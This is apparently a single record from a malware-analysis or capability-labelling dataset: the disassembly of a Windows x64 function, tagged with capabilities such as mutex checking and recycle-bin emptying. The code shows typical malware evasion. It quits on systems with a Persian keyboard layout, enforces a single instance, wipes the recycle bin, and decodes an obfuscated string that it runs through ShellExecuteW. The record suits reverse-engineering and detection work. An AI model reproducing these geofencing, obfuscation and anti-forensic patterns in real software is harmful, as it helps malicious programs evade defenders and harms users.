Function at 0x140022820
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Empty the recycle bin
Get keyboard layout
Terminate process

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov qword [rbp - 0x29], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140124190]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov eax, 8
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14007332c
mov rdi, rax
mov qword [rbp - 1], rax
mov qword [rbp + 0x47], rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r14d, r14d
test eax, eax
je 0x1400228b8
test ebx, ebx
jle 0x1400228b8
mov eax, r14d
mov ecx, 0x429
cmp word [rdi + rax*8], cx
je 0x140022982
inc rax
cmp rax, rbx
jl 0x1400228a6
test rdi, rdi
je 0x1400228ca
mov edx, 8
mov rcx, rdi
call fcn.140072f50
call fcn.1400453c0
xor eax, eax
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [0x1401057b0]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], al
lea r8d, [rax + 0x24]
lea rdx, [0x140104300]
lea rcx, [rbp - 0x49]
call fcn.140022d40
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae r8, qword [rbp - 0x49]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 7], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [rbp + 0xf], bl
mov rdx, qword [rbp - 0x31]
cmp rdx, 0x10
jb 0x140022964
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002295f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022c6a
call fcn.140072f50
movdqa xmm0, xmmword [0x1401057b0]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], 0
test bl, bl
jne 0x14002298e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140025f00
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp + 0x17]
call fcn.14003c0d0
nop
mov rdi, qword [rbp + 0x1f]
mov rbx, qword [rbp + 0x17]
cmp rbx, rdi
je 0x1400229c9
mov rcx, rbx
call fcn.1400450d0
add rbx, 0x20
cmp rbx, rdi
jne 0x1400229b8
lea rcx, [rbp + 0x17]
call fcn.140031320
call fcn.140045760
call fcn.140049f00
call fcn.14004a720
call fcn.1400473e0
lea rcx, [rbp + 0x2f]
call fcn.14003c7b0
mov rdi, qword [rbp + 0x37]
mov rbx, qword [rbp + 0x2f]
cmp rbx, rdi
je 0x140022a11
nop dword [rax]
mov rcx, rbx
call fcn.1400479c0
add rbx, 0x20
cmp rbx, rdi
jne 0x140022a00
lea rcx, [rbp + 0x2f]
call fcn.140031320
call fcn.140030240
mov rbx, qword [0x1401316a0]
test rbx, rbx
je 0x140022a40
mov rcx, rbx
call fcn.1400258a0
mov edx, 0xe0
mov rcx, rbx
call fcn.140072f50
mov rbx, qword [0x1401316a8]
test rbx, rbx
je 0x140022ae0
mov rcx, rbx
call fcn.140024950
mov rax, qword [rbx + 8]
test rax, rax
je 0x140022ac4
mov rdx, qword [rbx + 0x10]
mov rcx, rax
cmp rax, rdx
je 0x140022a83
nop dword [rax]
cmp dword [rax + 8], 0
jne 0x140022c70
add rax, 0x10
cmp rax, rdx
jne 0x140022a70
mov rdx, qword [rbx + 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
cmp rdx, 0x1000
jb 0x140022ab3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140022c5e
mov rcx, r8
call fcn.140072f50
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov rcx, qword [rbx]
test rcx, rcx
je 0x140022ad3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 0x38
mov rcx, rbx
call fcn.140072f50
call fcn.140046200
call fcn.140048c40
call fcn.140047c30
call fcn.14004a320
call fcn.14004aeb0
mov ebx, r14d
nop dword [rax]
lea rcx, [rbp - 0x21]
call fcn.140037350
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140022b16
mov r8, qword [rax]
mov byte [rbp - 0x59], 0
mov byte [rbp - 0x58], 0x13
mov byte [rbp - 0x57], 0x48
mov byte [rbp - 0x56], 0x3e
mov byte [rbp - 0x55], 0x48
mov byte [rbp - 0x54], 0x61
mov byte [rbp - 0x53], 0x48
mov byte [rbp - 0x52], 0x67
mov byte [rbp - 0x51], 0x48
mov byte [rbp - 0x50], 0x48
mov byte [rbp - 0x4f], 0x48
movzx eax, byte [rbp - 0x58]
movzx eax, byte [rbp - 0x59]
test al, al
jne 0x140022bb1
mov r9, r14
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + r9 - 0x58]
mov eax, 0x48
sub eax, ecx
imul ecx, eax, 0x3e
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r9 - 0x58], cl
inc r9
cmp r9, 0xa
jb 0x140022b60
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, [rbp - 0x58]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 9]
cmp rdx, 8
jb 0x140022c09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022c04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022c64
call fcn.140072f50
inc ebx
cmp ebx, 1
jl 0x140022b00
call fcn.14004c400
call fcn.14004b240
nop
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140072ef0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400a01c4
nop
call fcn.1400a01c4
int3
call fcn.1400a01c4
nop
call fcn.1400a291c
int3
jmp 0x140022820